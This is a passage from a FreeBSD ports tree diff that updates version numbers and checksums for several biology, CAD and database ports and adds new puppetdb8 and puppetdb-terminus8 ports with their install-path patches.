MAINTAINER= jwb@FreeBSD.org diff --git a/biology/bedtools/distinfo b/biology/bedtools/distinfo index 7a106b0489f..ad0fff26a47 100644 --- a/biology/bedtools/distinfo +++ b/biology/bedtools/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1611493289 -SHA256 (arq5x-bedtools2-v2.30.0_GH0.tar.gz) = c575861ec746322961cd15d8c0b532bb2a19333f1cf167bbff73230a7d67302f -SIZE (arq5x-bedtools2-v2.30.0_GH0.tar.gz) = 20639858 +TIMESTAMP = 1682717508 +SHA256 (arq5x-bedtools2-v2.31.0_GH0.tar.gz) = 183cf9a96aabc50ef4bd557a53fd01557a123c05a0dc87651371878f357439ec +SIZE (arq5x-bedtools2-v2.31.0_GH0.tar.gz) = 21085982 diff --git a/biology/minimap2/Makefile b/biology/minimap2/Makefile index 83084fd86a1..ff6799f92d2 100644 --- a/biology/minimap2/Makefile +++ b/biology/minimap2/Makefile @@ -1,6 +1,6 @@ PORTNAME= minimap2 DISTVERSIONPREFIX= v -DISTVERSION= 2.24 +DISTVERSION= 2.25 CATEGORIES= biology MAINTAINER= jwb@FreeBSD.org diff --git a/biology/minimap2/distinfo b/biology/minimap2/distinfo index 65cf355b10a..7c79ce9501e 100644 --- a/biology/minimap2/distinfo +++ b/biology/minimap2/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1640960772 -SHA256 (lh3-minimap2-v2.24_GH0.tar.gz) = 2e3264300661cf1fce6adabffe6970ec59d46f3e8150dd40fa4501ff4f6c0dbc -SIZE (lh3-minimap2-v2.24_GH0.tar.gz) = 253050 +TIMESTAMP = 1682729894 +SHA256 (lh3-minimap2-v2.25_GH0.tar.gz) = 9742ff0be01e51ea7d65f70c01d1344eee6f0d7b135359e0c00aec30fb74ac38 +SIZE (lh3-minimap2-v2.25_GH0.tar.gz) = 257574 diff --git a/biology/minimap2/pkg-descr b/biology/minimap2/pkg-descr index e4e8dbd749d..d0a8f4d1b41 100644 --- a/biology/minimap2/pkg-descr +++ b/biology/minimap2/pkg-descr @@ -1,16 +1,10 @@ Minimap2 is a versatile sequence alignment program that aligns DNA or mRNA sequences against a large reference database. Typical use cases include: - (1) mapping PacBio or Oxford Nanopore genomic reads to the human genome - (2) finding overlaps between long reads with error rate up to ~15% - (3) splice-aware alignment of PacBio Iso-Seq or Nanopore cDNA or Direct RNA readsagainst a reference genome - (4) aligning Illumina single- or paired-end reads - (5) assembly-to-assembly alignment - (6) full-genome alignment between two closely related species with divergence below ~15% diff --git a/cad/alliance/Makefile b/cad/alliance/Makefile index a0fb74e5c58..353b0144829 100644 --- a/cad/alliance/Makefile +++ b/cad/alliance/Makefile @@ -1,6 +1,6 @@ PORTNAME= alliance DISTVERSION= 5.1.1 -PORTREVISION= 4 +PORTREVISION= 5 CATEGORIES= cad MAINTAINER= ports@FreeBSD.org diff --git a/cad/openvsp/Makefile b/cad/openvsp/Makefile index 552129c119a..7b83f402913 100644 --- a/cad/openvsp/Makefile +++ b/cad/openvsp/Makefile @@ -1,6 +1,6 @@ PORTNAME= openvsp DISTVERSIONPREFIX= ${GH_PROJECT}_ -DISTVERSION= 3.32.2 +DISTVERSION= 3.33.0 CATEGORIES= cad MAINTAINER= fernape@FreeBSD.org diff --git a/cad/openvsp/distinfo b/cad/openvsp/distinfo index a44de4a8cfd..2e5b06738ca 100644 --- a/cad/openvsp/distinfo +++ b/cad/openvsp/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1679592612 -SHA256 (OpenVSP-OpenVSP-OpenVSP_3.32.2_GH0.tar.gz) = 94f2be50d33d792251ee0b1cb455a3ad21bc71c4410aa72d6c3d4b3ba16c8c2d -SIZE (OpenVSP-OpenVSP-OpenVSP_3.32.2_GH0.tar.gz) = 143023305 +TIMESTAMP = 1682788620 +SHA256 (OpenVSP-OpenVSP-OpenVSP_3.33.0_GH0.tar.gz) = 14246146b0cf21b95d13ff63d8506641f435d6f3e917845a0b23f37aa3be9995 +SIZE (OpenVSP-OpenVSP-OpenVSP_3.33.0_GH0.tar.gz) = 143074887 diff --git a/cad/surelog/Makefile b/cad/surelog/Makefile index 22926892a42..172fe5ba3b6 100644 --- a/cad/surelog/Makefile +++ b/cad/surelog/Makefile @@ -1,6 +1,7 @@ PORTNAME= surelog DISTVERSIONPREFIX= v DISTVERSION= 1.57 +PORTREVISION= 1 CATEGORIES= cad MAINTAINER= yuri@FreeBSD.org @@ -24,6 +25,9 @@ USES= cmake:testing compiler:c++17-lang localbase:ldflags tcl:86,build USE_JAVA= 17 # Java selection fails in cmake when Java 11 is also installed, see https://gitlab.kitware.com/cmake/cmake/-/issues/24674 USE_LDCONFIG= ${PREFIX}/lib ${PREFIX}/lib/surelog +JAVA_BUILD= yes +JAVA_RUN= no + USE_GITHUB= yes GH_ACCOUNT= chipsalliance GH_PROJECT= Surelog diff --git a/comms/apitran/Makefile b/comms/apitran/Makefile index b6778bb9848..c2c7958eae9 100644 --- a/comms/apitran/Makefile +++ b/comms/apitran/Makefile @@ -1,6 +1,6 @@ PORTNAME= apitran PORTVERSION= g20180926 -PORTREVISION= 6 +PORTREVISION= 7 CATEGORIES= comms astro hamradio python PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/comms/xastir/Makefile b/comms/xastir/Makefile index c90be97e2fe..eaf19402820 100644 --- a/comms/xastir/Makefile +++ b/comms/xastir/Makefile @@ -1,7 +1,7 @@ PORTNAME= xastir DISTVERSIONPREFIX= Release- DISTVERSION= 2.1.8 -PORTREVISION= 4 +PORTREVISION= 5 CATEGORIES= comms hamradio MAINTAINER= carl@stagecraft.cx diff --git a/databases/Makefile b/databases/Makefile index 5b1c367d83e..8461aebf6a5 100644 --- a/databases/Makefile +++ b/databases/Makefile @@ -717,8 +717,10 @@ SUBDIR += pspg SUBDIR += puppetdb-terminus6 SUBDIR += puppetdb-terminus7 + SUBDIR += puppetdb-terminus8 SUBDIR += puppetdb6 SUBDIR += puppetdb7 + SUBDIR += puppetdb8 SUBDIR += puredb SUBDIR += pxlib SUBDIR += pxtools @@ -863,7 +865,6 @@ SUBDIR += replibyte SUBDIR += retcl SUBDIR += rocksdb - SUBDIR += rocksdb-lite SUBDIR += rrdman SUBDIR += rrdmerge SUBDIR += rrdtool diff --git a/databases/cego/Makefile b/databases/cego/Makefile index 4045c2b533f..006a96575f2 100644 --- a/databases/cego/Makefile +++ b/databases/cego/Makefile @@ -1,5 +1,5 @@ PORTNAME= cego -PORTVERSION= 2.48.19 +PORTVERSION= 2.48.23 CATEGORIES= databases MASTER_SITES= http://www.lemke-it.com/ diff --git a/databases/cego/distinfo b/databases/cego/distinfo index 38be9f73cd9..0e821754b79 100644 --- a/databases/cego/distinfo +++ b/databases/cego/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678185565 -SHA256 (cego-2.48.19.tar.gz) = 5b7b15f418a3757efe5be141cab24874db827807343ee8baa9a95ebb4313fa9d -SIZE (cego-2.48.19.tar.gz) = 3219806 +TIMESTAMP = 1682708877 +SHA256 (cego-2.48.23.tar.gz) = 77a07729c580fa208adab59df542bb8f34799df7c645c425037fb82c621fbcbd +SIZE (cego-2.48.23.tar.gz) = 3231722 diff --git a/databases/influxdb2-cli/Makefile b/databases/influxdb2-cli/Makefile index 509a06ed921..d7561175899 100644 --- a/databases/influxdb2-cli/Makefile +++ b/databases/influxdb2-cli/Makefile @@ -1,7 +1,6 @@ PORTNAME= influxdb2-cli DISTVERSIONPREFIX= v -DISTVERSION= 2.7.1 -PORTREVISION= 1 +DISTVERSION= 2.7.3 CATEGORIES= databases net-mgmt MAINTAINER= driesm@FreeBSD.org diff --git a/databases/influxdb2-cli/distinfo b/databases/influxdb2-cli/distinfo index 69986cb84a2..c5147db8726 100644 --- a/databases/influxdb2-cli/distinfo +++ b/databases/influxdb2-cli/distinfo @@ -1,7 +1,7 @@ -TIMESTAMP = 1680950411 -SHA256 (go/databases_influxdb2-cli/influxdb2-cli-v2.7.1/v2.7.1.mod) = ece8ed9ec993d59aa9a8693e37461637c7daff299803c17bd3eeb0fcceedfde4 -SIZE (go/databases_influxdb2-cli/influxdb2-cli-v2.7.1/v2.7.1.mod) = 2489 -SHA256 (go/databases_influxdb2-cli/influxdb2-cli-v2.7.1/v2.7.1.zip) = 6bc9ea8ead908cf657dda7b2267a306ade04c8260b21728e9b6affac26fead31 -SIZE (go/databases_influxdb2-cli/influxdb2-cli-v2.7.1/v2.7.1.zip) = 860137 -SHA256 (go/databases_influxdb2-cli/influxdb2-cli-v2.7.1/golang-sys-v0.6.0_GH0.tar.gz) = b4f6d17c7a128f76169964b437cb66b3f2dbf9a33361928ec19dfecf7b03fc54 -SIZE (go/databases_influxdb2-cli/influxdb2-cli-v2.7.1/golang-sys-v0.6.0_GH0.tar.gz) = 1434234 +TIMESTAMP = 1682707118 +SHA256 (go/databases_influxdb2-cli/influxdb2-cli-v2.7.3/v2.7.3.mod) = e3283c5772f40f8125810a661922572de23e26c255abb5f754e2099c4ef562f0 +SIZE (go/databases_influxdb2-cli/influxdb2-cli-v2.7.3/v2.7.3.mod) = 2685 +SHA256 (go/databases_influxdb2-cli/influxdb2-cli-v2.7.3/v2.7.3.zip) = 2b4c5d9c1651328e73f41d24d7486523ab6d4b967cd376dbc336b62c1c83f5a4 +SIZE (go/databases_influxdb2-cli/influxdb2-cli-v2.7.3/v2.7.3.zip) = 861128 +SHA256 (go/databases_influxdb2-cli/influxdb2-cli-v2.7.3/golang-sys-v0.6.0_GH0.tar.gz) = b4f6d17c7a128f76169964b437cb66b3f2dbf9a33361928ec19dfecf7b03fc54 +SIZE (go/databases_influxdb2-cli/influxdb2-cli-v2.7.3/golang-sys-v0.6.0_GH0.tar.gz) = 1434234 diff --git a/databases/mariadb103-server/Makefile b/databases/mariadb103-server/Makefile index 466eb992030..164fe34d9ee 100644 --- a/databases/mariadb103-server/Makefile +++ b/databases/mariadb103-server/Makefile @@ -30,6 +30,8 @@ SUB_FILES= pkg-message PKGMESSAGE= ${WRKDIR}/pkg-message USES= bison:build cmake:insource,noninja compiler:c++11-lib cpe iconv:translit libedit ncurses shebangfix ssl +IGNORE_SSL= openssl30 openssl31 +IGNORE_SSL_REASON= Upstream only supports OpenSSL 1.0.1 upto 1.1.X USE_LDCONFIG= ${PREFIX}/lib/mysql SHEBANG_FILES= scripts/*.sh SITESDIR= mariadb/mariadb-${PORTVERSION}/source diff --git a/databases/mariadb104-server/Makefile b/databases/mariadb104-server/Makefile index 716614ac407..6422603a4d7 100644 --- a/databases/mariadb104-server/Makefile +++ b/databases/mariadb104-server/Makefile @@ -27,6 +27,8 @@ LICENSE= GPLv2 LICENSE_FILE= ${WRKSRC}/COPYING USES= bison:build cmake:insource,noninja compiler:c++11-lib cpe iconv:translit libedit ncurses shebangfix ssl +IGNORE_SSL= openssl30 openssl31 +IGNORE_SSL_REASON= Upstream only supports OpenSSL 1.0.1 upto 1.1.X SUB_FILES= pkg-message PKGMESSAGE= ${WRKDIR}/pkg-message diff --git a/databases/mysql56-server/Makefile b/databases/mysql56-server/Makefile index 70f3cc7ed7e..91e17a296ad 100644 --- a/databases/mysql56-server/Makefile +++ b/databases/mysql56-server/Makefile @@ -19,6 +19,8 @@ BROKEN_armv6= qemu: uncaught target signal 11 (Segmentation fault) - core dumped SLAVEDIRS= databases/mysql56-client USES= bison:build cmake:noninja compiler:c++11-lib cpe groff:run \ libedit localbase perl5 shebangfix ssl +IGNORE_SSL= openssl30 openssl31 +IGNORE_SSL_REASON= Upstream only supports OpenSSL 1.0.1 upto 1.1.X CPE_VENDOR= oracle diff --git a/databases/opendbviewer/Makefile b/databases/opendbviewer/Makefile index 9f03382859f..b0946c57cd1 100644 --- a/databases/opendbviewer/Makefile +++ b/databases/opendbviewer/Makefile @@ -1,5 +1,6 @@ PORTNAME= opendbviewer PORTVERSION= 1.1.1 +PORTREVISION= 1 DISTVERSIONPREFIX= v CATEGORIES= databases diff --git a/databases/pg_partman/pkg-plist b/databases/pg_partman/pkg-plist index 461344a04b9..2dcfe76c29a 100644 --- a/databases/pg_partman/pkg-plist +++ b/databases/pg_partman/pkg-plist @@ -1,10 +1,6 @@ bin/check_unique_constraint.py bin/dump_partition.py -bin/partition_data.py -bin/reapply_constraints.py -bin/reapply_foreign_keys.py bin/reapply_indexes.py -bin/undo_partition.py bin/vacuum_maintenance.py lib/postgresql/pg_partman_bgw.so %%PORTDOCS%%%%DOCSDIR%%/migrate_to_native.md diff --git a/databases/pgpool-II-42/Makefile b/databases/pgpool-II-42/Makefile index cc5430ae67d..30d7431d551 100644 --- a/databases/pgpool-II-42/Makefile +++ b/databases/pgpool-II-42/Makefile @@ -1,5 +1,5 @@ PORTNAME= pgpool-II -PORTVERSION= 4.2.3 +PORTVERSION= 4.2.12 CATEGORIES= databases MASTER_SITES= http://www.pgpool.net/mediawiki/images/ PKGNAMESUFFIX= 42 @@ -11,8 +11,6 @@ WWW= https://pgpool.net/ LICENSE= MIT LICENSE_FILE= ${WRKSRC}/COPYING -PORTSCOUT= limit:^4.2.[0-9]* - USES= gmake libtool pgsql:11+ USE_LDCONFIG= yes USE_RC_SUBR= pgpool @@ -21,22 +19,28 @@ GNU_CONFIGURE= yes CONFLICTS_INSTALL= pgpool-II-[0-9][0-9] pgpool-II[0-9][0-9] # etc/escalation.sh.sample etc/failover.sh.sample etc/pcp.conf.sample -PORTDOCS= * +PORTSCOUT= limit:^4.2.[0-9]* -PAM_DESC= Build with PAM support -SSL_DESC= Build with OpenSSL support -MEMCACHED_DESC= Use memcached for in memory query cache +PORTDOCS= * OPTIONS_DEFINE= DOCS SSL PAM MEMCACHED OPTIONS_DEFAULT= SSL -MEMCACHED_CONFIGURE_ON= --with-memcached=${LOCALBASE}/include +MEMCACHED_DESC= Use memcached for in memory query cache +PAM_DESC= Build with PAM support +SSL_DESC= Build with OpenSSL support + MEMCACHED_LIB_DEPENDS= libmemcached.so:databases/libmemcached - +MEMCACHED_CONFIGURE_ON= --with-memcached=${LOCALBASE}/include PAM_CONFIGURE_ON= --with-pam - -SSL_CONFIGURE_WITH= openssl SSL_USES= ssl +SSL_CONFIGURE_WITH= openssl + +.include + +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=int-conversion +.endif post-install: @${MKDIR} ${STAGEDIR}/var/run/pgpool @@ -49,4 +53,4 @@ post-install-DOCS-on: ${INSTALL_DATA} ${WRKSRC}/$f ${STAGEDIR}${DOCSDIR} .endfor -.include +.include diff --git a/databases/pgpool-II-42/distinfo b/databases/pgpool-II-42/distinfo index f113343ee9b..f867cfb1a3e 100644 --- a/databases/pgpool-II-42/distinfo +++ b/databases/pgpool-II-42/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1621536839 -SHA256 (pgpool-II-4.2.3.tar.gz) = 1cd3a9100aab6711050b291e94e4805287182054ce7811a697bc05723150d6cc -SIZE (pgpool-II-4.2.3.tar.gz) = 4751944 +TIMESTAMP = 1682873414 +SHA256 (pgpool-II-4.2.12.tar.gz) = 9f4a770aba2a60b047996bd5fd9ec6bf974560e73d483aff68d7a9455e93c5d0 +SIZE (pgpool-II-4.2.12.tar.gz) = 4758162 diff --git a/databases/puppetdb-terminus6/Makefile b/databases/puppetdb-terminus6/Makefile index bc15f09678b..52a7230395f 100644 --- a/databases/puppetdb-terminus6/Makefile +++ b/databases/puppetdb-terminus6/Makefile @@ -16,7 +16,7 @@ EXPIRATION_DATE=2023-06-01 BUILD_DEPENDS= puppet6>=0:sysutils/puppet6 -CONFLICTS_INSTALL= puppetdb-terminus5 puppetdb-terminus7 +CONFLICTS_INSTALL= puppetdb-terminus[0-9] NO_BUILD= yes USES= gmake ruby diff --git a/databases/puppetdb-terminus7/Makefile b/databases/puppetdb-terminus7/Makefile index 59bf8c70aad..439050b62a3 100644 --- a/databases/puppetdb-terminus7/Makefile +++ b/databases/puppetdb-terminus7/Makefile @@ -13,7 +13,7 @@ LICENSE= APACHE20 BUILD_DEPENDS= puppet7>=0:sysutils/puppet7 -CONFLICTS_INSTALL= puppetdb-terminus5 puppetdb-terminus6 +CONFLICTS_INSTALL= puppetdb-terminus[0-9] NO_BUILD= yes USES= gmake ruby diff --git a/databases/puppetdb-terminus8/Makefile b/databases/puppetdb-terminus8/Makefile new file mode 100644 index 00000000000..e7d78f248c9 --- /dev/null +++ b/databases/puppetdb-terminus8/Makefile @@ -0,0 +1,26 @@ +PORTNAME= puppetdb-terminus +PORTVERSION= 8.0.0 +CATEGORIES= databases ruby +MASTER_SITES= https://downloads.puppetlabs.com/puppetdb/ +PKGNAMESUFFIX= 8 +DISTNAME= puppetdb-${PORTVERSION} + +MAINTAINER= puppet@FreeBSD.org +COMMENT= PuppetDB storeconfigs backend terminus module +WWW= https://docs.puppetlabs.com/puppetdb/latest/ + +LICENSE= APACHE20 + +BUILD_DEPENDS= puppet7>=0:sysutils/puppet7 + +CONFLICTS_INSTALL= puppetdb-terminus[0-9] +NO_BUILD= yes +USES= gmake ruby + +post-patch: + @${REINPLACE_CMD} -e "s|%%PREFIX%%|${PREFIX}|" ${WRKSRC}/Makefile + +do-install: + @cd ${WRKSRC} && ${SETENV} DESTDIR=${STAGEDIR} ${GMAKE} install-puppetdb-termini + +.include diff --git a/databases/puppetdb-terminus8/distinfo b/databases/puppetdb-terminus8/distinfo new file mode 100644 index 00000000000..b883a3ef5bc --- /dev/null +++ b/databases/puppetdb-terminus8/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682476160 +SHA256 (puppetdb-8.0.0.tar.gz) = 7c3cf4e45951134f326cf2bb636496dfb45e205d3cc839fd20e173a4dd7095ae +SIZE (puppetdb-8.0.0.tar.gz) = 50152833 diff --git a/databases/puppetdb-terminus8/files/patch-Makefile b/databases/puppetdb-terminus8/files/patch-Makefile new file mode 100644 index 00000000000..5417b760be4 --- /dev/null +++ b/databases/puppetdb-terminus8/files/patch-Makefile @@ -0,0 +1,59 @@ +--- Makefile.orig 2023-04-04 16:01:28 UTC ++++ Makefile +@@ -1,7 +1,7 @@ + prefix = /usr/local + datadir = $(prefix)/share + confdir = /etc +-rubylibdir = $(shell ruby -rrbconfig -e "puts RbConfig::CONFIG['sitelibdir']") ++rubylibdir = $(shell %%PREFIX%%/bin/ruby -rrbconfig -e "puts RbConfig::CONFIG['sitelibdir']") + rundir = /var/run + bindir = /usr/bin + +@@ -36,22 +36,31 @@ install-puppetdb: + + + install-puppetdb-termini: +- install -Dm 0644 puppet/functions/puppetdb_query.rb "$(DESTDIR)$(rubylibdir)/puppet/functions/puppetdb_query.rb" +- install -Dm 0644 puppet/face/node/status.rb "$(DESTDIR)$(rubylibdir)/puppet/face/node/status.rb" +- install -Dm 0644 puppet/face/node/deactivate.rb "$(DESTDIR)$(rubylibdir)/puppet/face/node/deactivate.rb" +- install -Dm 0644 puppet/indirector/catalog/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/catalog/puppetdb.rb" +- install -Dm 0644 puppet/indirector/resource/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/resource/puppetdb.rb" +- install -Dm 0644 puppet/indirector/facts/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/facts/puppetdb.rb" +- install -Dm 0644 puppet/indirector/facts/puppetdb_apply.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/facts/puppetdb_apply.rb" +- install -Dm 0644 puppet/indirector/node/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/node/puppetdb.rb" +- install -Dm 0644 puppet/util/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb.rb" +- install -Dm 0644 puppet/util/puppetdb/command.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/command.rb" +- install -Dm 0644 puppet/util/puppetdb/atom.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/atom.rb" +- install -Dm 0644 puppet/util/puppetdb/command_names.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/command_names.rb" +- install -Dm 0644 puppet/util/puppetdb/config.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/config.rb" +- install -Dm 0644 puppet/util/puppetdb/char_encoding.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/char_encoding.rb" +- install -Dm 0644 puppet/util/puppetdb/http.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/http.rb" +- install -Dm 0644 puppet/reports/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/reports/puppetdb.rb" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/face/node" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/functions" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/indirector/catalog" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/indirector/facts" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/indirector/node" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/indirector/resource" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/reports" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/util" ++ install -d -m 755 "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb" ++ install -m 0644 puppet/functions/puppetdb_query.rb "$(DESTDIR)$(rubylibdir)/puppet/functions/puppetdb_query.rb" ++ install -m 0644 puppet/face/node/status.rb "$(DESTDIR)$(rubylibdir)/puppet/face/node/status.rb" ++ install -m 0644 puppet/face/node/deactivate.rb "$(DESTDIR)$(rubylibdir)/puppet/face/node/deactivate.rb" ++ install -m 0644 puppet/indirector/catalog/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/catalog/puppetdb.rb" ++ install -m 0644 puppet/indirector/resource/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/resource/puppetdb.rb" ++ install -m 0644 puppet/indirector/facts/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/facts/puppetdb.rb" ++ install -m 0644 puppet/indirector/facts/puppetdb_apply.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/facts/puppetdb_apply.rb" ++ install -m 0644 puppet/indirector/node/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/indirector/node/puppetdb.rb" ++ install -m 0644 puppet/util/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb.rb" ++ install -m 0644 puppet/util/puppetdb/command.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/command.rb" ++ install -m 0644 puppet/util/puppetdb/atom.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/atom.rb" ++ install -m 0644 puppet/util/puppetdb/command_names.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/command_names.rb" ++ install -m 0644 puppet/util/puppetdb/config.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/config.rb" ++ install -m 0644 puppet/util/puppetdb/char_encoding.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/char_encoding.rb" ++ install -m 0644 puppet/util/puppetdb/http.rb "$(DESTDIR)$(rubylibdir)/puppet/util/puppetdb/http.rb" ++ install -m 0644 puppet/reports/puppetdb.rb "$(DESTDIR)$(rubylibdir)/puppet/reports/puppetdb.rb" + + install-rpm-sysv-init: install-rpm-preinst + install -d -m 0755 "$(DESTDIR)$(initdir)" diff --git a/databases/puppetdb-terminus8/pkg-descr b/databases/puppetdb-terminus8/pkg-descr new file mode 100644 index 00000000000..4d64063e8c6 --- /dev/null +++ b/databases/puppetdb-terminus8/pkg-descr @@ -0,0 +1 @@ +The PuppetDB storeconfigs backend terminus module. diff --git a/databases/puppetdb-terminus8/pkg-plist b/databases/puppetdb-terminus8/pkg-plist new file mode 100644 index 00000000000..a12b86eb6a1 --- /dev/null +++ b/databases/puppetdb-terminus8/pkg-plist @@ -0,0 +1,17 @@ +%%RUBY_SITELIBDIR%%/puppet/face/node/deactivate.rb +%%RUBY_SITELIBDIR%%/puppet/face/node/status.rb +%%RUBY_SITELIBDIR%%/puppet/functions/puppetdb_query.rb +%%RUBY_SITELIBDIR%%/puppet/indirector/catalog/puppetdb.rb +%%RUBY_SITELIBDIR%%/puppet/indirector/facts/puppetdb.rb +%%RUBY_SITELIBDIR%%/puppet/indirector/facts/puppetdb_apply.rb +%%RUBY_SITELIBDIR%%/puppet/indirector/node/puppetdb.rb +%%RUBY_SITELIBDIR%%/puppet/indirector/resource/puppetdb.rb +%%RUBY_SITELIBDIR%%/puppet/reports/puppetdb.rb +%%RUBY_SITELIBDIR%%/puppet/util/puppetdb.rb +%%RUBY_SITELIBDIR%%/puppet/util/puppetdb/atom.rb +%%RUBY_SITELIBDIR%%/puppet/util/puppetdb/char_encoding.rb +%%RUBY_SITELIBDIR%%/puppet/util/puppetdb/command.rb +%%RUBY_SITELIBDIR%%/puppet/util/puppetdb/command_names.rb +%%RUBY_SITELIBDIR%%/puppet/util/puppetdb/config.rb +%%RUBY_SITELIBDIR%%/puppet/util/puppetdb/http.rb + diff --git a/databases/puppetdb8/Makefile b/databases/puppetdb8/Makefile new file mode 100644 index 00000000000..95d78c6ac72 --- /dev/null +++ b/databases/puppetdb8/Makefile @@ -0,0 +1,51 @@ +PORTNAME= puppetdb +PORTVERSION= 8.0.0 +CATEGORIES= databases java +MASTER_SITES= https://downloads.puppetlabs.com/puppetdb/ +PKGNAMESUFFIX= 8 + +MAINTAINER= puppet@FreeBSD.org +COMMENT= PuppetDB storeconfigs backend +WWW= https://docs.puppetlabs.com/puppetdb/latest/ + +LICENSE= APACHE20 + +RUN_DEPENDS= bash:shells/bash + +USE_RC_SUBR= puppetdb + +CONFLICTS_INSTALL= puppetdb[0-9] # etc/puppetdb/bootstrap.cfg.sample +USES= cpe shebangfix +CPE_VENDOR= puppet +SHEBANG_FILES= ext/bin/puppetdb \ + ext/cli/anonymize \ + ext/cli/config-migration \ + ext/cli/foreground \ + ext/cli/ssl-setup \ + ext/cli/start \ + ext/cli/stop \ + ext/cli/reload \ + ext/cli/upgrade \ + ext/ezbake-functions.sh +USE_JAVA= yes +JAVA_VERSION= 11+ +NO_ARCH= yes +NO_BUILD= yes + +USERS= puppetdb +GROUPS= puppetdb + +SUB_LIST= JAVA_HOME=${JAVA_HOME} +SUB_FILES= pkg-message + +post-patch: +.for file in Makefile ext/bin/puppetdb ext/cli/ssl-setup \ + ext/config/conf.d/jetty.ini ext/config/conf.d/config.ini + @${REINPLACE_CMD} -e "s|%%PREFIX%%|${PREFIX}|" ${WRKSRC}/${file} +.endfor + @${REINPLACE_CMD} -e "s|%%DATADIR%%|${DATADIR}|" ${WRKSRC}/ext/bin/puppetdb + +do-install: + @cd ${WRKSRC} && ${SETENV} DESTDIR=${STAGEDIR} make install-puppetdb + +.include diff --git a/databases/puppetdb8/distinfo b/databases/puppetdb8/distinfo new file mode 100644 index 00000000000..0d087536cef --- /dev/null +++ b/databases/puppetdb8/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1682476153 +SHA256 (puppetdb-8.0.0.tar.gz) = 7c3cf4e45951134f326cf2bb636496dfb45e205d3cc839fd20e173a4dd7095ae +SIZE (puppetdb-8.0.0.tar.gz) = 50152833 diff --git a/databases/puppetdb8/files/patch-Makefile b/databases/puppetdb8/files/patch-Makefile new file mode 100644 index 00000000000..f91d176cfc7 --- /dev/null +++ b/databases/puppetdb8/files/patch-Makefile @@ -0,0 +1,39 @@ +--- Makefile.orig 2023-04-04 16:01:28 UTC ++++ Makefile +@@ -1,24 +1,24 @@ +-prefix = /usr/local ++prefix = %%PREFIX%% + datadir = $(prefix)/share +-confdir = /etc ++confdir = %%PREFIX%%/etc + rubylibdir = $(shell ruby -rrbconfig -e "puts RbConfig::CONFIG['sitelibdir']") + rundir = /var/run +-bindir = /usr/bin ++bindir = %%PREFIX%%/bin + + install-puppetdb: + install -d -m 0755 "$(DESTDIR)$(datadir)/puppetdb" + install -m 0644 puppetdb.jar "$(DESTDIR)$(datadir)/puppetdb" + install -m 0774 ext/ezbake-functions.sh "$(DESTDIR)$(datadir)/puppetdb" + install -m 0644 ext/ezbake.manifest "$(DESTDIR)$(datadir)/puppetdb" +- install -d -m 0755 "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/conf.d" +- install -m 0644 ext/config/conf.d/database.ini "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/conf.d/database.ini" +- install -m 0644 ext/config/conf.d/auth.conf "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/conf.d/auth.conf" +- install -m 0644 ext/config/conf.d/config.ini "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/conf.d/config.ini" +- install -m 0644 ext/config/conf.d/repl.ini "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/conf.d/repl.ini" +- install -m 0644 ext/config/conf.d/jetty.ini "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/conf.d/jetty.ini" +- install -m 0644 ext/config/bootstrap.cfg "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/bootstrap.cfg" +- install -m 0644 ext/config/logback.xml "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/logback.xml" +- install -m 0644 ext/config/request-logging.xml "$(DESTDIR)$(confdir)/puppetlabs/puppetdb/request-logging.xml" ++ install -d -m 0755 "$(DESTDIR)$(confdir)/puppetdb/conf.d" ++ install -m 0644 ext/config/conf.d/database.ini "$(DESTDIR)$(confdir)/puppetdb/conf.d/database.ini.sample" ++ install -m 0644 ext/config/conf.d/auth.conf "$(DESTDIR)$(confdir)/puppetdb/conf.d/auth.conf.sample" ++ install -m 0644 